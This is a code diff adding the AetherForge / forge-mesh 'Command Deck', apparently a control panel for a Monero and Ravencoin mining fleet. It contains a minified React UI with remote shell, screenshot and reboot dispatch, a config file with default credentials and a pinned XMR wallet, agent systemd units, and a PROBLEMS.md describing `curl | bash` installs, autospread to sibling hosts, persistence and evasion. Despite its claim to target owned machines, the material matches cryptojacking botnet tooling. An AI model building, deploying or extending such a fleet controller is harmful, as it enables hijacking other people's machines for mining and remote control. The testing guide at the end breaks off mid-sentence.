Xr()?d.jsx(sd,{}):d.jsx(co,{to:"/login",state:{from:i},replace:!0})}const qr=E.forwardRef(({className:i,type:a,...s},c)=>d.jsx("input",{type:a,className:ht("flex h-10 w-full rounded-md border border-deck-border bg-deck-surface px-3 py-2 font-mono text-sm text-deck-text placeholder:text-deck-muted focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-deck-accent focus-visible:ring-offset-2 focus-visible:ring-offset-deck-bg disabled:cursor-not-allowed disabled:opacity-50",i),ref:c,...s}));qr.displayName="Input";const mo=E.forwardRef(({className:i,...a},s)=>d.jsx("label",{ref:s,className:ht("text-xs font-medium uppercase tracking-wider text-deck-muted",i),...a}));mo.displayName="Label";const Et=E.forwardRef(({className:i,...a},s)=>d.jsx("div",{ref:s,className:ht("rounded-lg border border-deck-border bg-deck-panel text-deck-text shadow-sm",i),...a}));Et.displayName="Card";const Bt=E.forwardRef(({className:i,...a},s)=>d.jsx("div",{ref:s,className:ht("flex flex-col space-y-1.5 p-4",i),...a}));Bt.displayName="CardHeader";const Vt=E.forwardRef(({className:i,...a},s)=>d.jsx("h3",{ref:s,className:ht("font-semibold leading-none tracking-tight text-deck-text",i),...a}));Vt.displayName="CardTitle";const Wt=E.forwardRef(({className:i,...a},s)=>d.jsx("p",{ref:s,className:ht("text-sm text-deck-muted",i),...a}));Wt.displayName="CardDescription";const $t=E.forwardRef(({className:i,...a},s)=>d.jsx("div",{ref:s,className:ht("p-4 pt-0",i),...a}));$t.displayName="CardContent";function ov(){var N,j;const i=yo(),s=((j=(N=vn().state)==null?void 0:N.from)==null?void 0:j.pathname)??"/dashboard",[c,p]=E.useState(""),[h,g]=E.useState(""),[x,k]=E.useState(""),_=P=>{if(P.preventDefault(),!c.trim()||!h){k("Username and password are required.");return}Qm({username:c.trim(),password:h}),i(s,{replace:!0})};return d.jsxs("div",{className:"flex min-h-screen items-center justify-center p-4 deck-grid-bg",children:[d.jsx("div",{className:"absolute inset-0 bg-gradient-to-b from-deck-accent/5 via-transparent to-transparent pointer-events-none"}),d.jsxs(Et,{className:"relative w-full max-w-md border-deck-accent/20 shadow-glow",children:[d.jsxs(Bt,{className:"text-center",children:[d.jsx("div",{className:"mx-auto mb-2 flex h-12 w-12 items-center justify-center rounded-lg border border-deck-accent/40 bg-deck-accent/10",children:d.jsx(dd,{className:"h-6 w-6 text-deck-accent"})}),d.jsx(Vt,{className:"text-xl",children:"AetherForge Command Deck"}),d.jsx(Wt,{children:"HTTP Basic authentication — credentials stored in session only"})]}),d.jsxs($t,{children:[d.jsxs("form",{onSubmit:_,className:"space-y-4",children:[d.jsxs("div",{className:"space-y-2",children:[d.jsx(mo,{htmlFor:"username",children:"Username"}),d.jsxs("div",{className:"relative",children:[d.jsx(cm,{className:"absolute left-3 top-1/2 h-4 w-4 -translate-y-1/2 text-deck-muted"}),d.jsx(qr,{id:"username",autoComplete:"username",placeholder:"operator",className:"pl-10",value:c,onChange:P=>p(P.target.value)})]})]}),d.jsxs("div",{className:"space-y-2",children:[d.jsx(mo,{htmlFor:"password",children:"Password"}),d.jsxs("div",{className:"relative",children:[d.jsx(Zh,{className:"absolute left-3 top-1/2 h-4 w-4 -translate-y-1/2 text-deck-muted"}),d.jsx(qr,{id:"password",type:"password",autoComplete:"current-password",placeholder:"••••••••",className:"pl-10",value:h,onChange:P=>g(P.target.value)})]})]}),x&&d.jsx("p",{className:"text-sm text-deck-danger",children:x}),d.jsx(st,{type:"submit",className:"w-full",children:"Authenticate"})]}),d.jsx("p",{className:"mt-4 text-center font-mono text-[10px] text-deck-muted",children:"sessionStorage · cleared on tab close"})]})]})]})}function iv(i){switch(i){case"active":return"active";case"probing":return"probing";case"failed":return"failed";case"paused":return"paused";default:return"idle"}}function sv({host:i}){return d.jsxs(Et,{className:ht("transition-all hover:border-deck-accent/30",i.online&&"shadow-glow",!i.online&&"opacity-60"),children:[d.jsx(Bt,{className:"pb-2",children:d.jsxs("div",{className:"flex items-start justify-between gap-2",children:[d.jsxs("div",{className:"min-w-0",children:[d.jsx(Vt,{className:"truncate font-mono text-base",children:i.hostname}),d.jsxs(Wt,{className:"font-mono text-xs",children:[i.id," · ",i.ip]})]}),d.jsx(mt,{variant:i.online?"online":"offline",children:i.online?"ONLINE":"OFFLINE"})]})}),d.jsxs($t,{className:"space-y-4",children:[d.jsxs("div",{className:"flex items-baseline gap-2",children:[d.jsx(md,{className:ht("h-5 w-5",i.online?"text-deck-accent":"text-deck-muted")}),d.jsx("span",{className:"font-mono text-2xl font-semibold text-deck-accent",children:i.online?Cd(i.hashrate):"—"})]}),d.jsxs("div",{className:"grid grid-cols-2 gap-2 text-xs",children:[d.jsxs("div",{className:"flex items-center gap-1.5 text-deck-muted",children:[d.jsx(Xh,{className:"h-3.5 w-3.5"}),d.jsx("span",{className:"truncate",children:i.arch})]}),d.jsxs("div",{className:"flex items-center gap-1.5 text-deck-muted",children:[d.jsx(Jh,{className:"h-3.5 w-3.5"}),d.jsx("span",{children:i.algo})]}),d.jsxs("div",{className:"flex items-center gap-1.5 text-deck-muted",children:[d.jsx(tm,{className:"h-3.5 w-3.5"}),d.jsxs("span",{children:["T",i.tier]})]}),d.jsxs("div",{className:"flex items-center gap-1.5 text-deck-muted",children:[d.jsx(um,{className:"h-3.5 w-3.5"}),d.jsxs("span",{children:["L",i.clearance]})]})]}),d.jsxs("div",{className:"flex flex-wrap items-center gap-2 border-t border-deck-border pt-3",children:[d.jsx(mt,{variant:iv(i.tierState),children:i.tierState.toUpperCase()}),d.jsx("span",{className:"font-mono text-xs text-deck-muted",children:i.tierName}),i.online&&d.jsxs("span",{className:"ml-auto font-mono text-xs text-deck-muted",children:["↑ ",Hm(i.uptimeSec)]})]})]})]})}const Xc={totalHashrate:425e5,onlineCount:3,hosts:[{id:"host-001",hostname:"forge-node-alpha",ip:"10.0.1.12",arch:"linux/amd64",hashrate:182e5,tier:2,tierName:"Bundled xmrig",tierState:"active",algo:"rx/0",uptimeSec:86400,lastSeen:new Date().toISOString(),clearance:2,online:!0},{id:"host-002",hostname:"mesh-worker-beta",ip:"10.0.1.47",arch:"linux/amd64",hashrate:128e5,tier:3,tierName:"GPU lolMiner",tierState:"probing",algo:"kawpow",uptimeSec:3600,lastSeen:new Date().toISOString(),clearance:1,online:!0},{id:"host-003",hostname:"edge-probe-gamma",ip:"10.0.2.8",arch:"linux/arm64",hashrate:115e5,tier:1,tierName:"OCI podman",tierState:"active",algo:"rx/0",uptimeSec:172800,lastSeen:new Date().toISOString(),clearance:3,online:!0},{id:"host-004",hostname:"offline-staging",ip:"10.0.3.99",arch:"linux/amd64",hashrate:0,tier:0,tierName:"—",tierState:"idle",algo:"—",uptimeSec:0,lastSeen:new Date(Date.now()-36e5).toISOString(),clearance:0,online:!1}]};function av(){const[i,a]=E.useState(Xc),[s,c]=E.useState(!0),[p,h]=E.useState("mock"),g=E.useCallback(async()=>{c(!0);try{const N=await Nt("/api/v1/fleet");if(N.ok){const j=await N.json();a(j),h("api");return}}catch{}a(Xc),h("mock")},[]),{connectionState:x,lastMessage:k}=Pd();E.useEffect(()=>{var j;if((k==null?void 0:k.type)!=="host_update"||!((j=k.host)!=null&&j.id))return;const N=k.host;a(P=>({...P,hosts:P.hosts.map(B=>B.id===N.id?{...B,...N}:B),totalHashrate:P.hosts.reduce((B,F)=>B+(F.id===N.id?N.hashrate??F.hashrate:F.hashrate),0)})),h("api")},[k]),E.useEffect(()=>{g().finally(()=>c(!1));const N=setInterval(()=>void g(),3e4);return()=>clearInterval(N)},[g]);const _=i.hosts.filter(N=>N.online);return{fleet:i,hosts:i.hosts,onlineHosts:_,loading:s,source:p,connectionState:x,refetch:g}}function uv(){const{fleet:i,hosts:a,loading:s,source:c,connectionState:p,refetch:h}=av();return d.jsxs("div",{className:"p-6 space-y-6",children:[d.jsxs("header",{className:"flex flex-wrap items-start justify-between gap-4",children:[d.jsxs("div",{children:[d.jsx("h1",{className:"text-2xl font-semibold tracking-tight",children:"Fleet Dashboard"}),d.jsx("p",{className:"text-sm text-deck-muted",children:"Live host telemetry · tier state · aggregate hashrate"})]}),d.jsxs("div",{className:"flex flex-wrap items-center gap-2",children:[d.jsx(mt,{variant:c==="api"?"online":"secondary",children:c==="api"?"API LIVE":"MOCK DATA"}),d.jsxs(mt,{variant:p==="connected"?"online":"offline",children:["WS ",p.toUpperCase()]}),d.jsxs(st,{variant:"outline",size:"sm",onClick:()=>void h(),children:[d.jsx($c,{className:"h-4 w-4"}),"Refresh"]})]})]}),d.jsxs("div",{className:"grid gap-4 sm:grid-cols-3",children:[d.jsx(ws,{icon:md,label:"Total Hashrate",value:Cd(i.totalHashrate),accent:!0}),d.jsx(ws,{icon:sm,label:"Online Hosts",value:`${i.onlineCount} / ${a.length}`}),d.jsx(ws,{icon:$c,label:"Status",value:s?"Syncing…":"Ready"})]}),d.jsxs("section",{children:[d.jsx("h2",{className:"mb-4 text-sm font-medium uppercase tracking-wider text-deck-muted",children:"Fleet Hosts"}),d.jsx("div",{className:"grid gap-4 sm:grid-cols-2 xl:grid-cols-3",children:a.map(g=>d.jsx(sv,{host:g},g.id))})]})]})}function ws({icon:i,label:a,value:s,accent:c}){return d.jsxs("div",{className:"rounded-lg border border-deck-border bg-deck-panel p-4",children:[d.jsxs("div",{className:"flex items-center gap-2 text-deck-muted",children:[d.jsx(i,{className:"h-4 w-4"}),d.jsx("span",{className:"text-xs uppercase tracking-wider",children:a})]}),d.jsx("p",{className:`mt-2 font-mono text-2xl font-semibold ${c?"text-deck-accent":"text-deck-text"}`,children:s})]})}function cv(){const[i,a]=E.useState([]),[s,c]=E.useState(!0),[p,h]=E.useState(!1),[g,x]=E.useState(""),k=E.useCallback(async()=>{c(!0);try{const N=await Nt("/api/v1/forge/builds");if(N.ok){const j=await N.json();a(j.builds??[])}}finally{c(!1)}},[]);E.useEffect(()=>{k()},[k]);const _=async()=>{h(!0),x("");try{const j=await(await Nt("/api/v1/forge/builds/trigger",{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify({public:!0})})).json();x(j.ok?"Build triggered successfully.":j.message??"Build queued with warnings."),await k()}catch{x("Failed to trigger build.")}finally{h(!1)}};return d.jsxs("div",{className:"p-6 space-y-6",children:[d.jsxs("header",{className:"flex flex-wrap items-start justify-between gap-4",children:[d.jsxs("div",{children:[d.jsx("h1",{className:"text-2xl font-semibold tracking-tight",children:"Forge Pipeline"}),d.jsx("p",{className:"text-sm text-deck-muted",children:"Cross-compile, sign, and publish agent artifacts"})]}),d.jsxs(st,{onClick:()=>void _(),disabled:p,children:[p?d.jsx(rr,{className:"h-4 w-4 animate-spin"}):d.jsx(rm,{className:"h-4 w-4"}),"Trigger Build"]})]}),g&&d.jsx(Et,{className:"border-deck-accent/30 bg-deck-accent/5",children:d.jsx($t,{className:"p-4 text-sm text-deck-text",children:g})}),d.jsx(Et,{className:"border-dashed border-deck-amber/30 bg-deck-amber/5",children:d.jsxs(Bt,{children:[d.jsxs("div",{className:"flex items-center gap-2",children:[d.jsx(pd,{className:"h-5 w-5 text-deck-amber"}),d.jsx(Vt,{className:"text-base",children:"Artifact store"})]}),d.jsxs(Wt,{children:["Public builds served at"," ",d.jsx("code",{className:"font-mono text-deck-cyan",children:"/api/v1/public/builds/latest"})]})]})}),s?d.jsxs("p",{className:"text-sm text-deck-muted flex items-center gap-2",children:[d.jsx(rr,{className:"h-4 w-4 animate-spin"})," Loading builds…"]}):i.length===0?d.jsx("p",{className:"text-sm text-deck-muted",children:"No builds yet — trigger one above."}):d.jsx("div",{className:"space-y-3",children:i.map(N=>d.jsx(Et,{children:d.jsxs($t,{className:"flex flex-wrap items-center gap-4 p-4",children:[d.jsx(nm,{className:"h-8 w-8 text-deck-accent"}),d.jsxs("div",{className:"flex-1 min-w-0",children:[d.jsx("p",{className:"font-mono font-medium",children:N.id}),d.jsxs("p",{className:"text-sm text-deck-muted",children:[N.os,"/",N.arch," · v",N.version]}),d.jsxs("p",{className:"font-mono text-[10px] text-deck-muted truncate",children:["sha256:",N.checksum.slice(0,16),"…"]})]}),d.jsxs("div",{className:"flex gap-2",children:[N.signature&&N.signature!=="UNSIGNED"&&d.jsxs(mt,{variant:"active",children:[d.jsx(am,{className:"mr-1 h-3 w-3"}),"SIGNED"]}),d.jsx(mt,{variant:N.public?"online":"secondary",children:N.public?"PUBLIC":"PRIVATE"})]})]})},N.id))})]})}function dv(){const[i,a]=E.useState(null),[s,c]=E.useState(!0),[p,h]=E.useState(!1),[g,x]=E.useState(!1),k=E.useCallback(async()=>{c(!0);try{const P=await Nt("/api/v1/policy/mining-profile");P.ok&&a(await P.json())}finally{c(!1)}},[]);E.useEffect(()=>{k()},[k]);const _=(P,B)=>{if(!i)return;const F=P+B;if(F<0||F>=i.tiers.length)return;const R=[...i.tiers];[R[P],R[F]]=[R[F],R[P]],a({...i,tiers:R.map((z,H)=>({...z,tier:H+1}))}),x(!1)},N=P=>{if(!i)return;const B=i.tiers.map((F,R)=>R===P?{...F,enabled:!F.enabled}:F);a({...i,tiers:B}),x(!1)},j=async()=>{if(i){h(!0);try{await Nt("/api/v1/policy/mining-profile",{method:"PUT",headers:{"Content-Type":"application/json"},body:JSON.stringify(i)}),await Nt("/api/v1/policy/wallet",{method:"PUT",headers:{"Content-Type":"application/json"},body:JSON.stringify({default_wallet:i.wallet_address,currency:"XMR"})}),x(!0)}finally{h(!1)}}};return s||!i?d.jsxs("div",{className:"p-6 text-sm text-deck-muted flex items-center gap-2",children:[d.jsx(rr,{className:"h-4 w-4 animate-spin"})," Loading policy…"]}):d.jsxs("div",{className:"p-6 space-y-6",children:[d.jsxs("header",{className:"flex flex-wrap items-start justify-between gap-4",children:[d.jsxs("div",{children:[d.jsx("h1",{className:"text-2xl font-semibold tracking-tight",children:"Calibrate"}),d.jsx("p",{className:"text-sm text-deck-muted",children:"Mining policy — tier order, wallet pin, earn-before-burn gates"})]}),d.jsxs(st,{onClick:()=>void j(),disabled:p,children:[p?d.jsx(rr,{className:"h-4 w-4 animate-spin"}):d.jsx(om,{className:"h-4 w-4"}),"Save Policy"]})]}),g&&d.jsx("p",{className:"text-sm text-deck-accent",children:"Policy saved to server."}),d.jsxs("div",{className:"grid gap-4 lg:grid-cols-2",children:[d.jsxs(Et,{children:[d.jsxs(Bt,{children:[d.jsxs("div",{className:"flex items-center gap-2",children:[d.jsx(qh,{className:"h-5 w-5 text-deck-accent"}),d.jsx(Vt,{className:"text-base",children:"Tier Chain"})]}),d.jsx(Wt,{children:"Reorder with arrows — pushed to agents with policy_from_server"})]}),d.jsx($t,{className:"space-y-2",children:i.tiers.map((P,B)=>d.jsxs("div",{className:"flex items-center justify-between rounded-md border border-deck-border bg-deck-surface px-3 py-2",children:[d.jsxs("span",{className:"font-mono text-sm",children:["T",P.tier," · ",P.name]}),d.jsxs("div",{className:"flex items-center gap-1",children:[d.jsx(st,{variant:"ghost",size:"icon",className:"h-7 w-7",onClick:()=>_(B,-1),children:d.jsx(Kh,{className:"h-4 w-4"})}),d.jsx(st,{variant:"ghost",size:"icon",className:"h-7 w-7",onClick:()=>_(B,1),children:d.jsx(Gh,{className:"h-4 w-4"})}),d.jsx(mt,{variant:P.enabled?"active":"idle",className:"cursor-pointer",onClick:()=>N(B),children:P.enabled?"ENABLED":"DISABLED"})]})]},P.tier))})]}),d.jsxs(Et,{children:[d.jsxs(Bt,{children:[d.jsxs("div",{className:"flex items-center gap-2",children:[d.jsx(dm,{className:"h-5 w-5 text-deck-amber"}),d.jsx(Vt,{className:"text-base",children:"Wallet Policy"})]}),d.jsx(Wt,{children:"Pinned destination address (server-push)"})]}),d.jsx($t,{className:"space-y-3",children:d.jsxs("div",{className:"space-y-2",children:[d.jsx(mo,{htmlFor:"wallet",children:"XMR wallet"}),d.jsx(qr,{id:"wallet",className:"font-mono text-xs",placeholder:"48edfHu7V9…",value:i.wallet_address,onChange:P=>{a({...i,wallet_address:P.target.value}),x(!1)}})]})})]})]}),d.jsx(Et,{className:"border-dashed",children:d.jsxs(Bt,{children:[d.jsxs("div",{className:"flex items-center gap-2",children:[d.jsx(cd,{className:"h-5 w-5 text-deck-cyan"}),d.jsx(Vt,{className:"text-base",children:"Per-host override"})]}),d.jsxs(Wt,{children:["Push profile to a host via"," ",d.jsx("code",{className:"font-mono text-deck-cyan",children:"POST /api/v1/fleet/{id}/mining-profile"})]})]})})]})}function fv(){var F;const[i,a]=E.useState("status"),[s,c]=E.useState(null),[p,h]=E.useState([]),[g,x]=E.useState(!1),[k,_]=E.useState(null),N=E.useRef(null),j=E.useCallback(async()=>{const R=await Nt("/api/v1/crucible/history");if(R.ok){const z=await R.json();h(z.jobs??[])}},[]);E.useEffect(()=>{j(),Nt("/api/v1/operator/me").then(async R=>{if(R.ok){const z=await R.json();_(z.clearance_level)}})},[j]),E.useEffect(()=>{var R;(R=N.current)==null||R.scrollTo({top:N.current.scrollHeight})},[s,p]);const P=async R=>{x(!0);try{const z=await Nt("/api/v1/crucible/batch",{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify({command:i,all:R})});if(z.ok){const H=await z.json();c(H),await j()}else z.status===403&&c({id:"denied",command:i,status:"forbidden",results:[{host_id:"—",status:"denied",message:"Requires clearance L4"}]})}finally{x(!1)}},B=(s==null?void 0:s.results)??((F=p[0])==null?void 0:F.results)??[];return d.jsxs("div",{className:"p-6 space-y-6",children:[d.jsxs("header",{className:"flex flex-wrap items-start justify-between gap-4",children:[d.jsxs("div",{children:[d.jsx("h1",{className:"text-2xl font-semibold tracking-tight",children:"Crucible"}),d.jsx("p",{className:"text-sm text-deck-muted",children:"Batch terminal — dispatch commands across fleet hosts (L4)"})]}),k!==null&&d.jsxs(mt,{variant:k>=4?"online":"failed",children:["OPERATOR L",k]})]}),d.jsxs(Et,{children:[d.jsxs(Bt,{children:[d.jsxs("div",{className:"flex items-center gap-2",children:[d.jsx(hd,{className:"h-5 w-5 text-deck-accent"}),d.jsx(Vt,{className:"text-base",children:"Batch command terminal"})]}),d.jsx(Wt,{children:"Maps to pause · resume · reboot · screenshot · shell · status"})]}),d.jsxs($t,{className:"space-y-4",children:[d.jsxs("div",{className:"flex gap-2",children:[d.jsx(qr,{className:"font-mono",value:i,onChange:R=>a(R.target.value),placeholder:"status",onKeyDown:R=>R.key==="Enter"&&void P(!0)}),d.jsxs(st,{onClick:()=>void P(!1),disabled:g,children:[g?d.jsx(rr,{className:"h-4 w-4 animate-spin"}):d.jsx(im,{className:"h-4 w-4"}),"Run"]}),d.jsx(st,{variant:"outline",onClick:()=>void P(!0),disabled:g,children:"All online"})]}),d.jsxs("div",{ref:N,className:"max-h-[420px] overflow-y-auto rounded-lg border border-deck-border bg-deck-bg p-4 font-mono text-sm",children:[d.jsxs("p",{className:"text-deck-muted mb-3",children:["$ crucible dispatch --cmd ",i||"status"]}),B.length===0&&d.jsx("p",{className:"text-deck-muted text-xs",children:"No output yet — run a batch command."}),B.map((R,z)=>d.jsxs("div",{className:"flex flex-wrap items-center gap-2 text-xs py-1 border-b border-deck-border/40",children:[d.jsx("span",{className:"text-deck-cyan",children:R.hostname??R.host_id}),d.jsx("span",{className:"text-deck-text",children:i}),d.jsx(mt,{variant:R.status==="dispatched"||R.status==="ok"?"active":R.status==="denied"?"failed":"probing",className:"ml-auto",children:R.status.toUpperCase()})]},z)),g&&d.jsx("p",{className:"mt-3 text-deck-accent animate-pulse",children:"▌ dispatching…"}),!g&&B.length>0&&d.jsx("p",{className:"mt-3 text-deck-accent",children:"▌"})]}),s&&d.jsxs("p",{className:"font-mono text-[10px] text-deck-muted",children:["job ",s.id," · ",s.status]})]})]})]})}function pv(){const[i,a]=E.useState([]),[s,c]=E.useState(!1),[p,h]=E.useState("idle"),g=E.useRef(null),x=E.useRef(null),k=P=>{try{return JSON.parse(P)}catch{return{id:String(Date.now()),event_type:"sse",payload_json:P,created_at:new Date().toISOString()}}},_=E.useCallback(()=>{var R;(R=g.current)==null||R.close(),h("connecting"),a([]);const P=Ls(),B=P?`/seer?authorization=${encodeURIComponent(P)}`:"/seer",F=new EventSource(B);g.current=F,F.onopen=()=>{c(!0),h("live")},F.onmessage=z=>{const H=k(z.data);H&&a(Q=>[H,...Q].slice(0,200))},F.onerror=()=>{c(!1),h("error"),F.close()}},[]),N=()=>{var P;(P=g.current)==null||P.close(),g.current=null,c(!1),h("idle")};E.useEffect(()=>()=>{var P;return(P=g.current)==null?void 0:P.close()},[]),E.useEffect(()=>{var P;(P=x.current)==null||P.scrollTo({top:0})},[i]);const j=async()=>{h("connecting");try{(await Nt("/api/v1/crucible/history")).ok&&(h("live"),a([{id:"snapshot",event_type:"system",payload_json:'{"message":"Seer snapshot — connect SSE for live stream"}',created_at:new Date().toISOString()}]))}catch{h("error")}};return d.jsxs("div",{className:"p-6 space-y-6",children:[d.jsxs("header",{className:"flex flex-wrap items-start justify-between gap-4",children:[d.jsxs("div",{children:[d.jsx("h1",{className:"text-2xl font-semibold tracking-tight",children:"Seer"}),d.jsx("p",{className:"text-sm text-deck-muted",children:"Court transcripts · LOTL timeline · live SSE stream"})]}),d.jsxs("div",{className:"flex gap-2",children:[s?d.jsx(st,{variant:"outline",size:"sm",onClick:N,children:"Disconnect"}):d.jsxs(d.Fragment,{children:[d.jsxs(st,{size:"sm",onClick:_,children:[d.jsx(lm,{className:"h-4 w-4"}),"Connect SSE"]}),d.jsx(st,{size:"sm",variant:"outline",onClick:()=>void j(),children:"Snapshot"})]}),d.jsxs(mt,{variant:p==="live"?"online":p==="error"?"failed":"secondary",children:[p==="connecting"&&d.jsx(rr,{className:"mr-1 h-3 w-3 animate-spin"}),p.toUpperCase()]})]})]}),d.jsxs(Et,{children:[d.jsxs(Bt,{children:[d.jsxs("div",{className:"flex items-center gap-2",children:[d.jsx(fd,{className:"h-5 w-5 text-deck-cyan"}),d.jsx(Vt,{className:"text-base",children:"Event Stream"})]}),d.jsxs(Wt,{children:["SSE endpoint: ",d.jsx("code",{className:"font-mono text-deck-cyan",children:"GET /seer"})]})]}),d.jsx($t,{children:d.jsxs("div",{ref:x,className:"max-h-[480px] overflow-y-auto rounded-lg border border-deck-border bg-deck-bg p-3 font-mono text-xs space-y-2",children:[i.length===0&&d.jsx("p",{className:"text-deck-muted",children:"Waiting for events…"}),i.map(P=>d.jsxs("div",{className:"flex gap-2 border-b border-deck-border/50 pb-2",children:[d.jsx("span",{className:"text-deck-muted shrink-0",children:new Date(P.created_at).toLocaleTimeString()}),d.jsx(mt,{variant:"secondary",className:"shrink-0",children:P.event_type}),P.host_id&&d.jsx("span",{className:"text-deck-cyan shrink-0",children:P.host_id.slice(0,8)}),d.jsx("span",{className:"text-deck-text break-all",children:P.payload_json})]},P.id))]})})]})]})}function hv(){return d.jsxs(_h,{children:[d.jsx(Ct,{path:"/login",element:Xr()?d.jsx(co,{to:"/dashboard",replace:!0}):d.jsx(ov,{})}),d.jsx(Ct,{element:d.jsx(lv,{}),children:d.jsxs(Ct,{element:d.jsx(rv,{}),children:[d.jsx(Ct,{path:"/dashboard",element:d.jsx(uv,{})}),d.jsx(Ct,{path:"/forge",element:d.jsx(cv,{})}),d.jsx(Ct,{path:"/calibrate",element:d.jsx(dv,{})}),d.jsx(Ct,{path:"/crucible",element:d.jsx(fv,{})}),d.jsx(Ct,{path:"/seer",element:d.jsx(pv,{})})]})}),d.jsx(Ct,{path:"/",element:d.jsx(co,{to:"/dashboard",replace:!0})}),d.jsx(Ct,{path:"*",element:d.jsx(co,{to:"/dashboard",replace:!0})})]})}Fp.createRoot(document.getElementById("root")).render(d.jsx(E.StrictMode,{children:d.jsx(Fh,{children:d.jsx(hv,{})})})); diff --git a/cmd/server/webroot/forge.svg b/cmd/server/webroot/forge.svg new file mode 100644 index 0000000..bc306d1 --- /dev/null +++ b/cmd/server/webroot/forge.svg @@ -0,0 +1,5 @@ + + + + + diff --git a/cmd/server/webroot/index.html b/cmd/server/webroot/index.html new file mode 100644 index 0000000..f3ae1fe --- /dev/null +++ b/cmd/server/webroot/index.html @@ -0,0 +1,20 @@ + + + + + + + AetherForge Command Deck + + + + + + + +
+ + diff --git a/data/config.json b/data/config.json new file mode 100644 index 0000000..9cad97b --- /dev/null +++ b/data/config.json @@ -0,0 +1,34 @@ +{ + "listen_addr": ":8989", + "data_dir": "./data", + "database_path": "./data/forge-mesh.db", + "operator_clearance": 4, + "auth": { + "basic_username": "admin", + "basic_password": "changeme", + "fleet_secret": "change-me-fleet-secret" + }, + "wallet_policy": { + "default_wallet": "48edfHu7V9Z84YzzMa6B9qPKBEJTiKDs8C8XpvX3qZfW8i7MLkQ4G7kD9fN2mP1vR6sT3uW0xY5zA8bC1dE4fG7hJ9kL2mN5pQ8rS1tU4vW7xY0zA3b", + "currency": "XMR" + }, + "stratum": { + "xmr_listen": ":3333", + "rvn_listen": ":3388", + "upstream_xmr": "pool.supportxmr.com:3333", + "upstream_rvn": "stratum-ravencoin.flypool.org:3333" + }, + "forge": { + "signing_key_path": "./data/signing.key", + "artifacts_dir": "./data/artifacts" + }, + "court": { + "ollama_url": "http://127.0.0.1:11434", + "enabled": false + }, + "telegram": { + "enabled": false, + "bot_token": "", + "chat_id": "" + } +} diff --git a/deploy/systemd/forge-mesh-agent.service b/deploy/systemd/forge-mesh-agent.service new file mode 100644 index 0000000..690b55e --- /dev/null +++ b/deploy/systemd/forge-mesh-agent.service @@ -0,0 +1,14 @@ +[Unit] +Description=Forge Mesh Agent +After=network-online.target +Wants=network-online.target + +[Service] +Type=simple +EnvironmentFile=-/etc/forge-mesh/agent.env +ExecStart=/opt/forge-mesh/agent -deck ${FORGE_DECK_URL} -secret ${FORGE_FLEET_SECRET} -pubkey ${FORGE_PUBKEY} +Restart=always +RestartSec=10 + +[Install] +WantedBy=multi-user.target diff --git a/deploy/systemd/forge-mesh-server.service b/deploy/systemd/forge-mesh-server.service new file mode 100644 index 0000000..e333dbe --- /dev/null +++ b/deploy/systemd/forge-mesh-server.service @@ -0,0 +1,14 @@ +[Unit] +Description=Forge Mesh Control Plane +After=network-online.target +Wants=network-online.target + +[Service] +Type=simple +WorkingDirectory=/opt/forge-mesh +ExecStart=/opt/forge-mesh/bin/forge-mesh-server -config /opt/forge-mesh/data/config.json +Restart=always +RestartSec=5 + +[Install] +WantedBy=multi-user.target diff --git a/docs/PROBLEMS.md b/docs/PROBLEMS.md new file mode 100644 index 0000000..c569878 --- /dev/null +++ b/docs/PROBLEMS.md @@ -0,0 +1,46 @@ +# Known limits and honest problems + +AetherForge Linux (forge-mesh) is built for **machines you own and authorize**. This document records deliberate gaps and platform realities—not a bug list to fix silently. + +## Deployment and spread + +- **No worm-style LAN spread.** WinRM/GPO/BITS-style push lanes have no Linux equivalent in scope. Authorized summon (`curl | bash` with pin/campaign), SSH keys, Ansible, and enrolled sibling spread replace blind propagation. +- **Triple onion is enrolled-only.** The 14-tier Linux deploy chain runs on hosts you have already authorized—not arbitrary internet targets. +- **Earn-before-burn is phenotype-scoped.** Autospread to siblings only after local hashrate exceeds threshold for N minutes, and only within the same enrolled phenotype group. + +## Tunneling and networking + +- **cloudflared is sidecar-only on Linux.** The deck does not embed cloudflared in-process. Use `LAUNCH.sh` or your own unit to run `cloudflared tunnel run --token …` and set `AF_TUNNEL_EXTERNAL=1`. Agents must be configured to reach the tunnel hostname, not assume in-process tunnel state. +- **WireGuard is operator-managed.** The plan includes WireGuard mesh (tier T9) and API hooks, but Forge Mesh does not auto-provision kernel WireGuard configs, key rotation, or NAT traversal. You install `wireguard`, distribute keys, and point agents at the deck overlay IP. +- **Subnet mapping is opt-in.** ARP/ping sweeps run only on **operator-declared CIDRs** from the dashboard. There is no blind or internet-wide probing. + +## Mining and hardware + +- **GPU tiers need drivers first.** lolMiner/Rigel KawPoW paths assume `nvidia-smi` or `rocm-smi` already work. The summon installer does not install proprietary GPU stacks. +- **Huge pages and cgroups vary by host.** Agents attempt tuning (`vm.nr_hugepages`, cgroup v2 caps) but success depends on capabilities, sysctl policy, and distros. +- **Stratum upstream is yours.** The deck proxies to pool URLs you configure; wallet policy pins one address but pool connectivity and ban risk remain operator concerns. + +## Intelligence and Court + +- **Court / Seer needs an LLM you operate.** Every exhaust tick that invokes prosecutor/defender/judge requires local Ollama or a configured OpenAI-compatible API. There is no bundled model. +- **eBPF telemetry is optional.** Build tag `ebpf` enables deeper signals; default builds may lack thermal/steal-time probes Court prompts expect. +- **Clearance gates are policy, not crypto.** L0–L4 gates remote pause, reboot, screenshot, shell, and verdict dispatch—but compromise of deck credentials bypasses the model. + +## Packaging and install + +- **Signature verify is a placeholder until W8 forge signing ships.** `install.sh.tpl` documents ed25519 verification; dev builds may skip verify with a warning. +- **USB portable deck is not hardened live media.** `pack-usb.sh` bundles config templates and optional binaries; operators must rotate passwords, fleet secrets, and tunnel tokens before production use. +- **Screenshot on headless hosts is best-effort.** `grim`/`scrot` or stubs may return placeholders without a display server. + +## Persistence and scale + +- **SQLite is single-node default.** Multi-deck HA and Postgres are optional future paths; do not expect active-active fleet state on SQLite alone. +- **Erasure and torrent tiers need seeded artifacts.** T12/T13 assume shards or seeds exist and are reachable; cold start without forge output will fail those tiers. + +## What we intentionally do not promise + +- Windows parity for every persistence or evasion mechanism. +- Mining profitability or algo selection optimality—only tiered fallback to one wallet. +- Legal compliance in your jurisdiction—self-hosted fleet ops are your responsibility. + +For architecture and workstream ownership, see the project plan at `.cursor/plans/aetherforge_linux_edition_71dd0fbb.plan.md` (or `docs/` once mirrored in-repo). diff --git a/docs/TESTING.md b/docs/TESTING.md new file mode 100644 index 0000000..6dac738 --- /dev/null +++ b/docs/TESTING.md @@ -0,0 +1,89 @@ +# AetherForge Testing Guide + +This document describes how to run backend and frontend tests 